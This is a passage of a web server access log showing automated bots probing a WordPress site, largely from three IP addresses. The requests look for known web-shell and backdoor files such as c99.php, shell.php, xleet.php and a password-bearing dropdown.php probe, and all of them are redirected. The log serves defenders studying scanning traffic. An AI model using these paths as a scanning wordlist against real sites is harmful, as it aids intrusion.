/wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:40 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:41 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:41 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:43 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:43 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:45 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:45 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:46 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:47 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:47 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:48 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:49 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:50 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:51 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:52 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:53 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:54 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:55 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:56 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:57 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:58 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:58 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:47:59 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:00 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:00 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:02 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:02 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:03 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:03 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:04 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:04 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:05 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:05 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:06 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:06 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:07 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:07 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:07 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:08 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:09 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:10 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:13 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:13 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:16 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 206.168.34.63 - - [15/Apr/2025:14:48:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 52.184.180.195 - - [15/Apr/2025:14:48:18 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:19 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:21 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:23 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:25 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:27 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:28 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:28 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:29 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:30 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:32 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:33 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:33 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:34 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:35 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:36 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:36 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:37 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:38 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:39 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 2602:80d:1000::2f - - [15/Apr/2025:14:48:40 -0400] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 52.184.180.195 - - [15/Apr/2025:14:48:40 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:41 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:41 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:42 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:42 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:43 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:44 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:45 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:45 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:46 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:46 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:47 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:48 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:49 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:50 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:51 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:52 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:52 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:53 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:53 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:54 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:54 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:55 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:55 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:56 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:56 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:57 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:58 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:48:58 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:00 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:01 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:03 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:04 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:05 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:06 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:07 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:08 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:09 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:10 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:11 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:12 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:14 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:15 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:17 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:19 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:20 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:21 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:22 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:24 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:24 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:25 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:27 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:28 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:31 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:32 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:33 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:33 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:34 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:35 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:36 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:37 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:39 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:40 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:41 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:42 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:43 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:43 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:44 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:44 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:46 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:47 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:48 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:49 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:50 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:51 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:52 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:52 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:53 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:55 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:56 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:58 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:49:59 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:01 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:02 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:02 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:04 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:05 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:08 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:11 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:12 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:16 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:18 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:21 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:24 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:28 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:29 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.184.180.195 - - [15/Apr/2025:14:50:30 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 119.42.148.82 - - [15/Apr/2025:14:56:19 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 119.42.148.82 - - [15/Apr/2025:14:56:23 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" 162.0.232.217 - - [15/Apr/2025:14:57:28 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:14:57:44 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:14:57:56 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:14:57:56 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:20 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:22 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:23 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:24 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:26 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:26 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:27 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:28 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:29 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:30 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:31 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:32 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:34 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:35 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:36 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:37 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:38 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:39 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [15/Apr/2025:15:42:40 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 2a12:d3c5:f1ce:ee6c:ac05:ffaa:db00:7f2b - - [15/Apr/2025:15:49:16 -0400] "GET / HTTP/1.1" 301 795 "http://www.designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 40.123.38.81 - - [15/Apr/2025:15:54:35 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:37 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:37 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:38 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:38 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:39 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:39 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:40 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:41 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:42 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:43 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:46 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:47 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:48 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:50 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:52 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:54 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:55 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:56 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:58 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:58 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:59 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:54:59 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:00 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:00 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:00 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:00 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:01 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:02 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:04 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - [15/Apr/2025:15:55:06 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 40.123.38.81 - - 